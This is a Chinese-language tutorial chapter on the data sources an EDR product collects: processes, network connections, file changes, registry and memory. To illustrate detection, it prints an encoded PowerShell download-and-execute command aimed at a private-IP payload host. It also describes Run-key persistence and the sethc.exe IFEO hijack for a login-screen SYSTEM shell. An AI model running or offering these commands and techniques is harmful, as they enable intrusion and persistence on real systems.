第二章:EDR数据源——终端进程数据、网络连接数据、文件系统变更、注册表变更、内存数据

做EDR这么多年,我经常被问到同一个问题:“EDR到底在看什么?”

说白了,EDR的核心能力就四个字——数据采集。没有高质量的数据源,再牛的检测算法也是空中楼阁。今天我就把这五大数据源掰开揉碎了讲清楚。

核心观点:EDR的检测能力,取决于你能采集到什么数据。数据源的深度和广度,直接决定了你能发现什么级别的威胁。

EDR 五大数据源 进程数据 网络连接 文件系统 注册表 内存数据 创建/终止/命令行 IP/端口/协议/流量 创建/修改/删除 键值/权限/变更 进程内存/内核对象

2.1 终端进程数据——EDR的“眼睛”

进程数据是EDR最基础、也是最重要的数据源。我个人习惯把进程数据比作“犯罪现场的行踪记录”——谁在什么时候干了什么,全在这里。

核心采集项:

  • 进程创建与终止:PID、PPID、进程名、路径、命令行参数
  • 进程关系:父子进程链、线程信息、句柄信息
  • 进程行为:模块加载、DLL注入、远程线程创建

实战经验:我在一次APT事件响应中,就是通过分析父子进程链发现了异常——一个普通的winword.exe居然生成了powershell.exe,再往下跟,发现它又启动了rundll32.exe。典型的“白加黑”攻击手法。

命令行参数为什么重要?你想想看,攻击者经常通过命令行传递恶意载荷。比如:

powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAOAAvAHAAYQB5AGwAbwBhAGQAJwApAA==

看到这种编码后的PowerShell命令,基本可以断定有问题。EDR要做的就是把这些原始数据完整记录下来。

2.2 网络连接数据——看清“谁在跟谁说话”

网络连接数据,说白了就是搞清楚终端上的进程在跟哪些IP通信。我记得有一次排查勒索病毒,就是靠网络连接数据锁定了C2服务器。

关键采集维度:

维度 说明 检测价值
源IP/端口 本机IP和端口 识别异常端口监听
目标IP/端口 远程地址 发现恶意C2通信
协议类型 TCP/UDP/ICMP 检测隧道行为
连接状态 ESTABLISHED/LISTEN 判断是否活跃
进程关联 哪个进程发起的连接 溯源攻击入口

避坑指南:我曾经遇到过一个案例,EDR只采集了TCP连接,完全忽略了UDP。结果攻击者用DNS隧道传输数据,我们愣是没发现。所以,UDP和ICMP也不能放过

2.3 文件系统变更——追踪“痕迹”

攻击者总要在磁盘上留下点什么。文件创建、修改、删除,这些都是重要的取证线索。

重点关注:

  • 可执行文件创建:exe、dll、scr、com等
  • 脚本文件写入:ps1、vbs、js、bat等
  • 系统目录变更:Windows目录、System32、Temp等
  • 文件重命名:攻击者常把恶意文件伪装成系统文件

嗯,这里要注意:不是所有文件变更都有威胁。比如用户正常安装软件也会写文件。所以EDR需要结合进程上下文来判断——谁在写?写到了哪里?写了什么?

2.4 注册表变更——Windows的“命门”

注册表是Windows系统的核心配置数据库。攻击者特别喜欢在这里做手脚,实现持久化或绕过安全机制。

高危注册表路径:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options

为什么这些路径高危?因为它们是自启动和程序劫持的常用位置。攻击者只要在Run键下加一条记录,下次开机恶意程序就自动运行了。

个人经验:我见过一个很隐蔽的手法——攻击者修改了Image File Execution Options下的sethc.exe(粘滞键程序),把它替换成cmd.exe。这样在登录界面按5次Shift键,就能弹出系统权限的命令行。这种注册表变更,EDR必须能检测到。

2.5 内存数据——最后的“防线”

内存数据是EDR数据源中最“硬核”的一个。为什么?因为很多恶意行为只在内存中执行,磁盘上不留痕迹。

内存采集要点:

  • 进程内存空间:查看是否有异常代码注入
  • 内核对象:驱动、系统调用表是否被篡改
  • 内存中的字符串:提取明文密码、C2地址等
  • Hook检测:SSDT Hook、Inline Hook等

说实话,内存数据采集是EDR厂商的分水岭。做得好的EDR,能在内存中直接检测到无文件攻击——攻击代码完全在内存中执行,不落地任何文件。

关键认知:五大数据源不是孤立的。一次完整的攻击链,往往会在多个数据源留下痕迹。比如:

  1. 邮件附件(文件系统)→ 打开文档
  2. 宏执行(进程数据)→ 启动PowerShell
  3. PowerShell下载Payload(网络连接)→ 连接恶意IP
  4. Payload注入到合法进程(内存数据)→ 内存异常
  5. 修改注册表实现持久化(注册表变更)→ Run键新增

EDR要做的是把这些碎片拼成完整的攻击故事。

好了,这五大数据源就是EDR的“五感”。下一节我们会深入讲如何把这些原始数据变成可用的检测指标。记住一句话:数据采集的质量,决定了检测的天花板


公众号:蓝海数据掘金营,微信deep3321